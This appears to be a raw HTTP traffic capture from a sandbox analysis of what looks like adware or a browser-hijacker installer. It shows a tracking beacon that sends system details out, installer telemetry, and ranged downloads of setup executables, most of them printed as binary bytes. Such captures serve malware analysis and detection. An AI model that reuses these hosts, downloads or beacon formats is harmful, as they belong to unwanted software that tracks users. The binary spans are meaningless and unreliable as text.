X-Cache: MISS
HTTP/1.1 200 OK..Date: Wed, 15 Apr 2015 02:28:45 GMT..Content-Length: 
0..Connection: keep-alive..Cache-Control: private, no-store..X-AspNet-
Version: 4.0.30319..X-Powered-By: ASP.NET..Server: NetDNA-cache/2.2..X
-Cache: MISS..



GET /monetization.gif?event=3&ibic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&campaign=000171&country=ua&app=70121&os=7(64bit)&defbro=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&starttime=1429064926&asw=0_1073750533_-2147475456_2048&browser=ff&rnd=1429064926 HTTP/1.1
Host: logs.dropopenobject.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
Date: Wed, 15 Apr 2015 02:28:50 GMT
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Accept-Ranges: bytes
ETag: "1389114507"
Last-Modified: Tue, 07 Jan 2014 17:08:27 GMT
Cache-Control: max-age=86400
Content-Length: 35
Content-Type: image/gif
X-HW: 1429064930.dop008.fr7.t,1429064930.cds021.fr7.c
GIF89a.............,...........D..;HTTP/1.1 200 OK..Date: Wed, 15 Apr 
2015 02:28:50 GMT..Keep-Alive: timeout=5, max=100..Connection: Keep-Al
ive..Accept-Ranges: bytes..ETag: "1389114507"..Last-Modified: Tue, 07 
Jan 2014 17:08:27 GMT..Cache-Control: max-age=86400..Content-Length: 3
5..Content-Type: image/gif..X-HW: 1429064930.dop008.fr7.t,1429064930.c
ds021.fr7.c..GIF89a.............,...........D..;..



GET /v4/sof-installer/267123711_198339_B48A115F?action=smt.installer.istartsurf.ds HTTP/1.1
Connection: Keep-Alive
User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) Pi/3.1415926
Host: xa.xingcloud.com


HTTP/1.1 200 OK
Server: nginx/0.7.67
Date: Wed, 15 Apr 2015 02:28:48 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.3.3
xa-api-version: v4
48..{"stats":"ok","time":"0.40 ms","message":"store 1 action and 0 upd
ate "}..0..HTTP/1.1 200 OK..Server: nginx/0.7.67..Date: Wed, 15 Apr 20
15 02:28:48 GMT..Content-Type: text/html; charset=utf-8..Transfer-Enco
ding: chunked..Connection: keep-alive..X-Powered-By: PHP/5.3.3..xa-api
-version: v4..48..{"stats":"ok","time":"0.40 ms","message":"store 1 ac
tion and 0 update "}..0..



GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1
Range: bytes=160792-
User-Agent: Better Installer(Mozilla)
Host: d2otsfra4otprh.cloudfront.net
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 1125537
Connection: keep-alive
Cache-Control: no-cache
Last-Modified: Mon, 23 Mar 2015 09:00:36 GMT
Accept-Ranges: bytes
ETag: "b8e31d44765d01:0"
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Mon, 13 Apr 2015 12:59:00 GMT
Content-Range: bytes 160792-1286328/1286329
X-Cache: Miss from cloudfront
Via: 1.1 8d9a4b7bf28d1cf23a8b620f67d78699.cloudfront.net (CloudFront)
X-Amz-Cf-Id: iJLqbfmp8YT-bfgD8GJWm2qwU5bC14xRtk64QHmHOaJLci19VdLvAg==
......'oS.l.g......*. .=.....8..;....#.?U... .i....=..{}...z..N..8s2.u
[email protected]}..j..bP.&.k.Z%...0..T...SG.9....w.........U..d[3XR. 
.1.......... I...T.H'..F,4........j..y.7F..~eF^Lt...........a...q.,.|.
..M3.]....).......FT.^..k.Ad...0MVn;.R....7W;~..,....8..e..umjZ..o.jfK
[email protected].~.%.6.I....F..<.(.O..^<..r.vOh..J...:.....,.sY...
C!2.;O........N:..2. ..F.Q...?g_..n..S..9r l.{...P..fLJ.)......ED..Y..
.e..w.......J....}....... B..y.....}..5.ib.-....6.......&....i....u...
d.aV.Z....a....Q..h.z  N{....Y!N...n.....W...5.f.Z.j. ..O..h.M=k....,.
.O....S .k..j1V...K.E..OYB.].40...A.._u...<...y....}j..].B....7e.D.
..:2........`?I....>.4y.N.#&[:.I..(D.W...r..abD.a..N.....t...0P4q.&
gt;....hV.....;..Ud.OZ..I.....(...p.E.."..{...'..^.X2..U..w.._...(.(..
............z.&.g...E...9.&z.F(...J...EH.......%!...o-aG...:.3.7.....V
.....|.q....<...........&w.......}..G&.w........x...%4?...4.......s
a...vo.G$.Hm...]C..T.F..Kc"j...../.(;...p".v..........[.D..0:#.|..q.c.
a?..r....$;^|.!....\..).K..>......Sm..]s...C....t...._.F....#!..T.z
W<..).*...L.l..Sk...$.2d.C...$....CX7...`.i..X.......(.....T....:SG
.1:.c......z..$%...e.=M#7.^.....:.%...k/.......(.........3.._1.k...]..
.............dh. ....9......!.>..L N....R.h?c......B..Q0s...o......
[email protected]..{.t?....WT.&.../.W...}.../B...T.LAr,.......!E..(....E
.. .T*S#..V6.K......O.F.....j....2z..P|C..e.......x.. k...W.....h.".9.
@Vl......K.=.RP......w..A ...@~x....J.....`..V..T".X...<[email protected].,
...1....0..B....X.v`.F.a.;#^u...n*as. ..U[...|.j.;.{y ....;.v1;W..
<<< skipped >>>


GET /yta33_full.exe HTTP/1.1
Range: bytes=250000-499999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: 32tk204qm4t-457zol7j.netdna-ssl.com
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Date: Wed, 15 Apr 2015 02:28:21 GMT
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
x-amz-id-2: lqp4G9gwlKY4OXAniIn2vxtgUFqmo2tBvmflkcqaq /EnkICFxFlv/j0z7Uh6 KT m/HMhan1a4=
x-amz-request-id: A9477EE46BAC3A39
Last-Modified: Wed, 10 Dec 2014 11:34:48 GMT
ETag: "f8076da03b6b36fa1ec0bd5a082d8d95"
Server: NetDNA-cache/2.2
X-Cache: HIT
Content-Range: bytes 250000-499999/7590800
....A.^......i.|@....M|.4y..F.S.}..&a.D8...."R.R.C..9....S.0u.R.&...T$
9R;.%...o....vUm....NE.d. .5%.... .......T..sM..Qx ...[|Cf...ne.$..|Zv
'.k.M.\d.&....*\H..`i.{?...9u'.....q........YK.T.Csj1......2.YHsL.....
.l..f........f@[email protected]..\.l....sL..).^..cJ.G../. ....%O...-.^.S.
.TFM...{1.X.....X..WT./...x..$..6.%0`...U.2..w5.B...o.#...0...-WXTl...
...H.dEcP4...S-qn}Z..n...>".p..@....~cE.0.b... R.5.&.........eD.ig.
PV..wo..T.~.....R9.....zR^v...W..t.H.%}.U.~...Y.|(g..&.(xj.....<. I
!........Y....u[@.`............u......C8.6...`..0.......[........0...^
............y......j.!.H.....L.z^o.....4.;.5:RLz.l.p...s...*f.e<.#.
.....#...~....U).1G"`...n.........<...0;..h...#....h.....".o.NW".(.
,.N..t.......^Z..%.I.&.VW..O....<..i..C.av.\*.v..d..5...#.=0>x..
n...#pYH.)8d...B..m.R'p. .......]...3.j....c.....[.S......J...G.!.[...
hh....D..Q.....f:=C....f.R.o.....j..|..T>.5?;.1.......@H.[.h.eS.0..
.. .(y.....7...h|.$..4...1.....K..;G.{.'..:..t.[ld..C..n;>.(V...P..
........C.........7H. .W..ckrZ...w...=....S....!E.8....^.....k.X...$..
.9..}... ..{.....]. n.....6..i....o.{[email protected].$.
..H}...^).v....'.....H.....x.yH...E9.V.Q).N.$X...\......GG.|sJ..R.....
7.._.b......x$......?.U.g.g$....)..E..[)..h..k .L ..a.\[email protected].:..
.B...... .a.b. .. '.....~e..f..c..3......6.6.?xK.(t..p..@?.Rs"..n.../.
...7....IO..7b{.t.....$ ...*..R.i....6Vt.....x.v"..._g..[3.\OG/.-...y.
..z....M......w.M#...*..r..W"t.eT%.@;.9b0p.-.$=n..H...i*T>..xVL,vA.
w].&5].?A6A.....6Q.v.6...zU*..~:..bGh......GM.3.c%.}.....L.4.C....
<<< skipped >>>

GET /yta33_full.exe HTTP/1.1


Range: bytes=750000-999999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: 32tk204qm4t-457zol7j.netdna-ssl.com
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Date: Wed, 15 Apr 2015 02:28:21 GMT
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
x-amz-id-2: lqp4G9gwlKY4OXAniIn2vxtgUFqmo2tBvmflkcqaq /EnkICFxFlv/j0z7Uh6 KT m/HMhan1a4=
x-amz-request-id: A9477EE46BAC3A39
Last-Modified: Wed, 10 Dec 2014 11:34:48 GMT
ETag: "f8076da03b6b36fa1ec0bd5a082d8d95"
Server: NetDNA-cache/2.2
X-Cache: HIT
Content-Range: bytes 750000-999999/7590800
..|.b..dA..z..j...I.1..../..5.!5...L.'..?|.2...'(.......a.....3:3.i...
E4./...Y"..VH.bn"..IC".....Nvf^oN.1..S=.@}....YvV..?..%{......&.^.c.=.
....1m.N.[........o.<............v.|.....n.L8}d..<oz.z`6pv..%..6
rm."./.....q..y.......!.`.....}....i.....'..".hT.....]......4G.8A.....
|.4S.._.*J.".\e..r|....`.....,].....SR.?{GV......;....!.r~i`._....z.M.
y..c..y...v....rW.aT..q.q.m6dB...s.I.*....W......u.......Fc..Y.69Q....
.%....%....U~..=.........X.I.y.K...gY.>.T.....9g ?p\~...... *.q....
...b.A..Nq^."..R'S..W.1......>..`<4.....yCh*-.!.}E.g..i......../
......]...c.v.k....8..?.G.l.........5..........g..}.2.O.l..r._..q..G}.
......3Z.....}.....O..p..,Y..4.'j...L....@ ..$.~U.....6.O..Fa.).V....b
U...].... ^oz...@.....)...:.s.{.u........%.K_&f...*..f>...o9.1.....
.pH....-........a.u!.}s.......A.m........M.=<[email protected].......
.3... ..6.......<..r.....=0.3G.d.M."|..\.:.1.K....y4D..Oh.....=....
zq.z<.h..o..F.a{o3..J...r/.l*l.AE.."&.!..;.dK.3...)@.......f.u....-
..EI.c...v....N.T.U@.........*.mZ.... ....~..e.x.....C.A..G.#4........
g...,....9.-........k..|.\.w).>(Ao...%@...d.}.c...H... .JCQ6. 6jX4.
..Q.....zx)....y.....).......\v.... F...S.:mKd...,.1C #[email protected]
.3. .g.^.G..o=.2)....I.....gP...&4...=..................q..|.l2..1..8R
...:;60a.@.$..J1H.}.......!W..`..p..h.^t.....D..\...1.O.An.....4......
.K...\I#...\....;5.Tj.M).to,[email protected]..#.C>c..0 .q..4......
...Y.<...K...D.:?.......b..?...{^.a8........H...N&.$G8.........%Bg.
.F....K*Q.c8%`..l..4..I..$E5w......0$..#....pl6..W.....3.R.....2..
<<< skipped >>>

GET /yta33_full.exe HTTP/1.1


Range: bytes=1250000-1499999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: 32tk204qm4t-457zol7j.netdna-ssl.com
Connection: Keep-Alive



W..6..0.1.vj.15G..c3......<.U..9Y(...n.I.=q...s...>s........h.b;
......)...e."O.....v....k..jzY..6....Q6..........e..g.FW..V.....L.8.j.
...z....PJ...i/8Y&(N. ./.....].t.ma.L.p9..ZJ...).Q..k.Df ...YX..K._.O{
.28.";Cg@;....{w....0....kA....'j!PU....^y.Qu..D.k......#....Lp.K.....
_5.k....o..K...l.F<... .id.........v..W."`9<.."..LE6....Xt-*Q.Q.
...|.Y..C...{%.<..8..jV...AN.>I,..;.(.'Y.^...p..e.m...........F8
y\....R.`[email protected].....#...Y.M..&.........-.E.L...3..u._$5.D~G..oP...k].&l
t;*ZJ0..........^|.......]..lZ...G..b.u.4..|..'.%o.yo...|......T_....Y
;. ....w...$"8.s.<."..W.~..h7..[x7...\..)|k.....=A$.....AT.v...2Z.L
.b<k-..@.>.|......]...Y.}..Q7G...T}.a$..T...U..ORS...> SM.?..
._.j....m....?....oWI......N.=...E..../A.l.S.....k.75....!P..*.....xvC
.F...."{kO..(.B.........3..9.)_.....7P...............5..>...`..TE..
...^7g.....).;.B..j...37...Q.t....I..I.E......:.7....Q>.o..K.t:....
.].H>.NP.......{t...DV..{. ......G0...X....0.s.9j<iB:z<..p/..
....A$*.J..M.9~.do0.hk&gL.&.........l*q....w..O.."D.(>.b.MX.aR.a?.&
lt;..s...._...Ya0hn..A...."....&.J.......]D.:i...F.....t.)..J.!"....a.
0..T.d:...O...i....h........].<K..g..1,VY}.XU.35j...nl......0D..|..
..S=.)........O..>.=.N...|..9.;h..ek..{...w)...Q...{&.....,.2...[.8
.....b..2qUFw,...f.'_6r....4.z.......K`......q.......S.|q...wO..Y..k[.
.............?S...."?DU.1.{K^.3d...f... A.....C7(._..b.;..9.O5.`...n..
.q..R..&q.O.M.u....T..B-..h...J..YJD7.UT3> ........y..._.K..6......
.....V*Q.kE=ZB..o..$u..JR......w...I.3.T&..?.......I.:.P...K...^..
<<< skipped >>>

GET /yta33_full.exe HTTP/1.1


Range: bytes=1750000-1999999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: 32tk204qm4t-457zol7j.netdna-ssl.com
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Date: Wed, 15 Apr 2015 02:28:22 GMT
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
x-amz-id-2: lqp4G9gwlKY4OXAniIn2vxtgUFqmo2tBvmflkcqaq /EnkICFxFlv/j0z7Uh6 KT m/HMhan1a4=
x-amz-request-id: A9477EE46BAC3A39
Last-Modified: Wed, 10 Dec 2014 11:34:48 GMT
ETag: "f8076da03b6b36fa1ec0bd5a082d8d95"
Server: NetDNA-cache/2.2
X-Cache: HIT
Content-Range: bytes 1750000-1999999/7590800
es5c......9..q...ce!....].\4....BZH.?....:..R....%2y.W`.....g....J.?7.
,1.S...P...c.C.RmXZA.........Fqs....m...Z .-,.m.......'.G...8(.~.:.Y1.
..BH.e.;RPA..0.y$<7.=....v.._..y....{.5.z.....^..{'D.N.......Hw...2
.%6.dp.:)d....{XC.u.....#as...}..).H.@OSi.;....<.8"....8j.....oF...
5-^. ....P.....x*Q}...&..[...U.U..P.,r.bC.}..Lk...*....l>..g..2....
...-..?..8.Q._.6.....V=a.s_..|..{.P3g9.F.:.....#-2h......A....p...=}/.
..............m....-Q....W.fRF......4.5....ft..h.......cZ.X.....y.[.Q.
....../.$v.*..w....x..#.Z.<f.-.5...D{.....!.I... ....D.T".Z...D...i
z..w..~..../..\..;}.._........D..f....Y......%._......H...)..o.u~.CW..
......(...zv..........9..<_.k...9.....U.....'Y;............`.l...{.
y...;...;.....Y....Z..T.J..;K.A....w.......&..{...P..`Sg..[ .....`~9! 
....$^.......G...^.....{..c...A......xS4.....<.R.3.S.:..]...g..R...
...(......*[...Z. .<I.6......d._5z.d...y.......P...6..L@/.[.N.M`<
;...... ....?...........^F.j..X,{0........... .}...<. 9O_..........
 .-5.Q...%.C..y.v,....3.m......I0f.....y.J.jb.b..'...~6...-..I..y(L.C.
7...oY{Sx.m.8^....6.[....T..X5..l.....a....Y............|.z.jws.......
I.f...^..BX.|..."3......6..qvl.q..G....?...m();[email protected]..`......3...
....2.-...8..>.y.C.............'.......<..m...\...3n..\.%.....K[
...A...h.=..m.PR.v.62;.......r[G.WXo.........(....I........&KGE.&..^..
...j.......M.T.=1....%.....^.......B..if.>.....&`.[....&.Y......G.\
...T[5'MsB.]\...;N......\....&.eN..4C.....Sy.."........}H]R$x.d..;."..
d.t3}..^e.e.wS...G.pNfo..C.b.f...M4]........|eN.....y.H..jX~./E..t
<<< skipped >>>

GET /yta33_full.exe HTTP/1.1


Range: bytes=2500000-2749999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: 32tk204qm4t-457zol7j.netdna-ssl.com
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Date: Wed, 15 Apr 2015 02:28:22 GMT
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
x-amz-id-2: lqp4G9gwlKY4OXAniIn2vxtgUFqmo2tBvmflkcqaq /EnkICFxFlv/j0z7Uh6 KT m/HMhan1a4=
x-amz-request-id: A9477EE46BAC3A39
Last-Modified: Wed, 10 Dec 2014 11:34:48 GMT
ETag: "f8076da03b6b36fa1ec0bd5a082d8d95"
Server: NetDNA-cache/2.2
X-Cache: HIT
Content-Range: bytes 2500000-2749999/7590800
O#.g.S.*...UA.]0..wOBY.O_..'...1....<..@......*,..A.._f.]".......{.
x.]v.......-</..R....-@-.....?...2.?...'J&G... ...BL..?..ht.J:.:.=.
( ..8..Z..b3X...7.7.I}.9}F2.5....:$..S|_...=...**.BULN....K..9..<.*
p.:.O.P.....c.U....L..... q......x.......A.....J.e.c..;Ye....G...FP..=
.mQv..a..:..............P.(?  |...2..C..=.........g.ix..P.y..=.....m&.
.....F-Et<~b.xD...M.....5...y.*..o.}T...6..Q....E.q.........F....P\
!.........A.\..8j :nU/...q|0.e%F.|...N<|.,?.^~...V..^..2.N9e. ....Y
....9zU]........y.=`...Q6fUR ...I....t.c;c#..8.......a\.hn[yB.|...D.c.
....4.QFxGa...l.......Q0.q./.....@O.\i..(.8X......w........#U...n.....
..1z..|8....2....S...."..S...|K.w..|.....v.Re.x.%..yV....... .|..._.If
...D..X#Ht......Y:...%.?....:..d.,....I;..........)...'c...,N<....*
..G....M..!..j.............0.^.h[.6..;...=D.T......r6.....).I.&......O
.....@E.`.....L.`.|..,. ....j....\.`[email protected]........,.#.....V
.s...i.....xd...K.7..e.n;sg....IP....\&...............4......!..: ..].
.k ...(!.I...D....t.....`=...a.H.$r.....|[WIis....;3_......J..]...9j..
3.&..=V..T..G.J_.?:.|.k.r.z...W...v.gX..O...I.Q...nAh.........v....('.
.....a....S....o.. bRk..YLG\r3.ogc.....U....Bu.. ig......l.>..|...5
3ZJD>.GN.7..MA3.R...L.:........U.YY.m%.G......R....S.or.c1.%.Z.F...
r...LN......5.w$g&.\.._.....V.h...bbv...bbu)[...~....V.".7...:g.P.....
R2.JqE........./f.I..Kzp$....YF...d..9........F.y...Q....#.(Bf..."....
q.QP`.U..h. #s,`}....C...2.9cJ,....U.CT.#X.......D.o...l.......6n.6.S.
....:....e..a}...32,R..I.....l.....xG.e...6..T...y.Z.....~........
<<< skipped >>>

GET /yta33_full.exe HTTP/1.1


Range: bytes=4250000-4499999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: 32tk204qm4t-457zol7j.netdna-ssl.com
Connection: Keep-Alive



.^......b.A...-.GM..'..<<.PCy"....{.ac.......<,....Md s?.e...
..0.Qrhj....?..V..B...&.(d..R...'...6..... ......... $........>.H9N
K.j.....]~J.7.@...)..^........4.Khj;.g..1.....y.D.....j.%...T..8..e..:
...5$.....=..ee..Z.....{.x.........U.w.....&b.l.6.....<H}.$Zf...%..
..I:.........E....y.:DV.%.......7.\.Z[@{....u....t:..e..{..z..Jk[v.g.&
gt;?....6....{.G2."R.>M2MJd.Q..ip.7.9......f(ly.Q...........h.....7
.l.!..,/....#@I.R.`|.M..{$.O.e0r~YZh...8....P.c..c..z&._..D.X..]O..zg%
..0t_.....=............Za...R...H....0g~.FZ^...(.~..8XNp....k`....h...
.A.a.i..u..6!..]......m3..|.1.y..G2j.Xr^y......p...v_....&.}.......\ .
G...-k..t...Y.*i..-..7..g[...G. =..5c.&.p.}.#~..YD..........s.L.7. 3..
...?...#.=.K.h.~|.u.d.GP...|.......T...........c.x..C...}.wd..F.......
....JC`U.bP....;...z.l.V......n$..!.9/H........(u>ke.z.f}..k..|..c.
.eq.a........ISW....*..P.........;s...........D9....T..L../...a..MPM..
....gv\!....jEE........U...z....p.->.#9t...IUc.@.%.I.}..i>/.....
.F.;prWe1.y.8..B.`......sP..A*..F.T....... h..{tC.W4..Ea,...5 ........
.M.b......!.ys..Z..pS..~..(.-....18.....k ...........W...V........Fi./
Xy.1.bb....'a........u..p..o.........d.....M.....t.%}..1..5.....!...X.
.4..U.4`..".....s...........,C.Q.O.zu..CM^R.................P...p....i
e..Z=.9.....W..J_.1P.C.....> ...........Wi..=..z/T...F..q._3l.Bb!X.
k..Q.........=..g3.p(..4..w.0t.......Z{.....|.4)[email protected]..
....it.%.<...}..<..0..0.......O....<{q\9_..T.~L].Br..| ......
.H.1.9$..i.A....d.)?6Fa..l...K.~....&GD.N2.!...9E.pn..!....'....{.
<<< skipped >>>

GET /yta33_full.exe HTTP/1.1


Range: bytes=4750000-4999999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: 32tk204qm4t-457zol7j.netdna-ssl.com
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Date: Wed, 15 Apr 2015 02:28:22 GMT
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
x-amz-id-2: lqp4G9gwlKY4OXAniIn2vxtgUFqmo2tBvmflkcqaq /EnkICFxFlv/j0z7Uh6 KT m/HMhan1a4=
x-amz-request-id: A9477EE46BAC3A39
Last-Modified: Wed, 10 Dec 2014 11:34:48 GMT
ETag: "f8076da03b6b36fa1ec0bd5a082d8d95"
Server: NetDNA-cache/2.2
X-Cache: HIT
Content-Range: bytes 4750000-4999999/7590800
 .0S...n.HC..(k..m]V.........V..R..;_lEM?Q$7..;..e0.>i.D....F_Z....
..!&-..e....D.%^*.._.X.....Z.E.F]....fY..ZK..mf....v.G..?.9q.....0_.n.
K.U.fxS......i^.6A.;.3......f.....D..[k...\....]..mO.Y`P..6...b.l9(..7
E..3.....n5...).b.....D..z..4s....?....P.a.......b/...:.7.%P....".Vu..
7..'.e.....x..%$.*......f.j..q...QX..%."N%..n.3d....*DO.7El."...|...].
.T.....a................yzdg.4..s:.Pg...a.~%\o.$@;.a.D...|d.{.....|lp.
#....{L?.^b.04wg..n.B.G|.,.."..>.1*.#.. qU...>...'..K..Q.,..Y..8
..r>...O....a.......Jb....KN.P..a.=s../.$4...B...G.6I../U$P0.....;[
.P.>j.[..Ebt..!..R..!i..v..J.........e..........-.........o..z..|.a
F$...nP.C..J8...W.H..._...L'.%DL("..%..w..l....g"..Qv.5...g._..iH`.)..
.[u9..[[email protected]."........N.Iln_...s......c H\)...........Z.q........{...
/T.....kY.o&K....vw.Vg.Oq]...0.0...X#kidH.PI...1.. 9..T.3W.y}..=.....,
g..R..N..'~....w...H...P..bCUT.7.=.\S..4..U(.....^..;A.b]....e~..Si..H
.:.C.....0..?......Q......D.B.H..-N..w..[...v...S...U2".....).....`r.w
...7Z.p.....<UV...$...m..6.-.c[O....U.M..$./.,.........1k.9._h....v
.c.(.....s..._bt1(o. ..HUn.D.....v.....J...h6..t.9R.;/.= [email protected]@
..(.#r.[......mj....f.={uj.........2r...rV.2..0....P(....P..E....r.#S?
.....U...'TK..(......O.c\...W...r..C%..:-...,..wX.p..1n.-z2..A.h.:8$.$
v........\.....M...m.4?v..[.|..J.4nq..&..1......Tp...p..5.\...6:...E#.
2..O....A.h.S9Ed..g..kn..h7*0`...O......PMr.z...QYNA.......%...|...Z .
.-.(z..a..F..h.Z.mBeF1 fmn/...wb1E....}*[email protected]^'zc.%M.&K.E....n.M.w.d..
(..r#....wv\..r_....t.u.i7...G..!...Q.6H....J.....<..4.=x. ....
<<< skipped >>>

GET /yta33_full.exe HTTP/1.1


Range: bytes=5000000-5249999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: 32tk204qm4t-457zol7j.netdna-ssl.com
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Date: Wed, 15 Apr 2015 02:28:22 GMT
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
x-amz-id-2: lqp4G9gwlKY4OXAniIn2vxtgUFqmo2tBvmflkcqaq /EnkICFxFlv/j0z7Uh6 KT m/HMhan1a4=
x-amz-request-id: A9477EE46BAC3A39
Last-Modified: Wed, 10 Dec 2014 11:34:48 GMT
ETag: "f8076da03b6b36fa1ec0bd5a082d8d95"
Server: NetDNA-cache/2.2
X-Cache: HIT
Content-Range: bytes 5000000-5249999/7590800
Z]X.z#.m........C..].|..&.#CK...j:.S..6..n\.Ob.x.2U..,..........7.8...
.i...W.F..gO...?....\.~..|5=3W$.o._.r.2..I..)...4..w.....#/.m.......=&
M...}.~2...:6.)..._./$e/B..p..o.........%...`r#Q..)....$..nm......ZS..
.>....*..^g&=....F.1.&...v&..kpld. .Hf'-.)..w..6..a....n.K....X.v..
...FyeP.?..m .h]l.!X..@[....b,.O.. .pY.%.|...I........h.(..mF..}>3.
.6hypK82[)...j~T...N..o.....o0..Vt.}_.......nh;O.4UP..."L K.x.=s.;..f.
.h.V.`.y=-O....`.m.C.!r#...5.2..'.$?...\b.3W.lr.M.[..9M:7.0)..~.x.[.M.
.d..z.t].sG.r....:..l...p........yD..B..L..........^)G.Q.y.A...n.....E
$.KHH.........HZXl.PZ...7..@....._G.3p.c....O..C.n....>....IM.`.g..
.$k...m...H.<*...........d.\.3.#.p.Nn.=..].....Vg'..C ..L.k..r.X..w
...W.....C...4.v.L..U.a.r4...... ..:...."....#6..&V.lK}.o.P|.p.. ....#
.]...b.C....p.n.........`...O.x..s....  c^..h.BF.n''r[)r.G.PX.T.._...)
....N....7.Me....g...NJ.B.Nc....*.. ....D...o..._AW/.u.9.z5.j3.4..x..#
.3....G......ix...cZ..2..vI.c..;v.._......f...L..ZG.T........0....M..6
S..y'e=.J.......-..Ut..OH....z.Bn!...f..s..d...&Z.2..4...K.P...N.4....
....n.1L.mGB..s.Z......T..O......v..n~.....'. .x3......X....E. ..,a{.P
.....S.>...":....../.{..gs.......1:. .S..M.L.n......>....|..K...
}.3....xx.......|..xM..].r.v.....Jo.z..."=.O........`..O.%.......n...i
..u....=....Dq`Y.b[....J.......b.........$.t............C.0#.......]..
....f...z.........,{b.....#.jn.Z.~.......1..N.y..j.`.6.X6.u...K ...:..
..!.\..S.....H..i>].V...y.............t`W....v.(...._^k...]...n.NZ 
..1I..JkY.cf.>5H...Fj...:v.p#E0...........l..[8....n.....v....]
<<< skipped >>>

GET /yta33_full.exe HTTP/1.1


Range: bytes=5250000-5499999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: 32tk204qm4t-457zol7j.netdna-ssl.com
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Date: Wed, 15 Apr 2015 02:28:23 GMT
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
x-amz-id-2: lqp4G9gwlKY4OXAniIn2vxtgUFqmo2tBvmflkcqaq /EnkICFxFlv/j0z7Uh6 KT m/HMhan1a4=
x-amz-request-id: A9477EE46BAC3A39
Last-Modified: Wed, 10 Dec 2014 11:34:48 GMT
ETag: "f8076da03b6b36fa1ec0bd5a082d8d95"
Server: NetDNA-cache/2.2
X-Cache: HIT
Content-Range: bytes 5250000-5499999/7590800
;b.AF..#......`6#.d...#....K.t.[..s...._U..j1s6.........B...oW.......i
..2..k.~..w98m.$.:{.._.J........h.S..0HoA.(s...e.zY...d._J...u........
o&...>...A..b.......A\..bK...:...........G.....-p..%c^.I..S..b..S[&
gt;-.........k........}@.{....8......8.2WA...SW..%.S .bG...o.\....<
.5o...<P.....}..pR...6r".G.E..E)E...lL._....~...`O.r...j.m./4.....a
Q......H.27..0..RE..%.......f."`y....Q.<...~f.P....D...6...n...k.M.
=.gx...bQ...O$..a..@r\..;.;[email protected]'hE...x...?T6.w.K.q..-n V>.L.
8C......l...F...Y..{\.;%Z;.Z/.....W?.7..........)*.....l.L:.N..H.....j
^....D.....;.G(.....-......F...cJF:......m '....Q.:}M9...f.l...}....".
.e).M...,.....b...J.....FB...9..HT.#.'.w...R]f.p.......e....u.K...3l.@
...d.'.4.v...E...S..Y...*..........d/...o..7........mc......xr.......[
.k...S.$.;R.W..t9.$...)~...Zf.....O$...C.u.A.7...:.....:./c.9........:
Ie.{j.L.R......Q."4q.mnDQ.f..M7........m_.keE.}../...v.....n .g..2..Pp
..._..|.2..i............v.U..{..J....4..8N.e...]#.$..M..../.t.....4.].
|f....ybsx......)........>)d..`..8..JcAlxE.....j.0Y....."W.JL...~..
.5@...?o.Q&e.<M.......W....../h.n.....e...........Q.ny_6.w....K...]
...Y.'..Hr.{..K..l]...4.......x.M...........5.L.7Y...4..!-.~lI.jR....^
QX..n6nlJ.4...=./.W.w:.v..5....K...Je5 ..'..7 ).Z.W.Ya.......}G..q.'.`
.j@<.....J...Vd...x....Y.[.jw....:....Z.....;tOSp].G..zGn....H...nb
....Mj8.u:Q.ys.'.Qu..V........{k...(.J.D...0%....j.........#^K........
.F!.L.Bh.........w.dkD:..5..;.@....*..F.Qc.0..^<Ft.W..F;......P..C.
.bK7']8[2.l*..1..M...k.....Q..uB\N.uG?x..H.....n..m.N.........8.H.
<<< skipped >>>

GET /yta33_full.exe HTTP/1.1


Range: bytes=5750000-5999999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: 32tk204qm4t-457zol7j.netdna-ssl.com
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Date: Wed, 15 Apr 2015 02:28:23 GMT
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
x-amz-id-2: lqp4G9gwlKY4OXAniIn2vxtgUFqmo2tBvmflkcqaq /EnkICFxFlv/j0z7Uh6 KT m/HMhan1a4=
x-amz-request-id: A9477EE46BAC3A39
Last-Modified: Wed, 10 Dec 2014 11:34:48 GMT
ETag: "f8076da03b6b36fa1ec0bd5a082d8d95"
Server: NetDNA-cache/2.2
X-Cache: HIT
Content-Range: bytes 5750000-5999999/7590800
Bmd[..~..{H.......wa.?@.$...7.:.<.YL.u...Y.N[j.@Q...#...d@.."V$5.#.
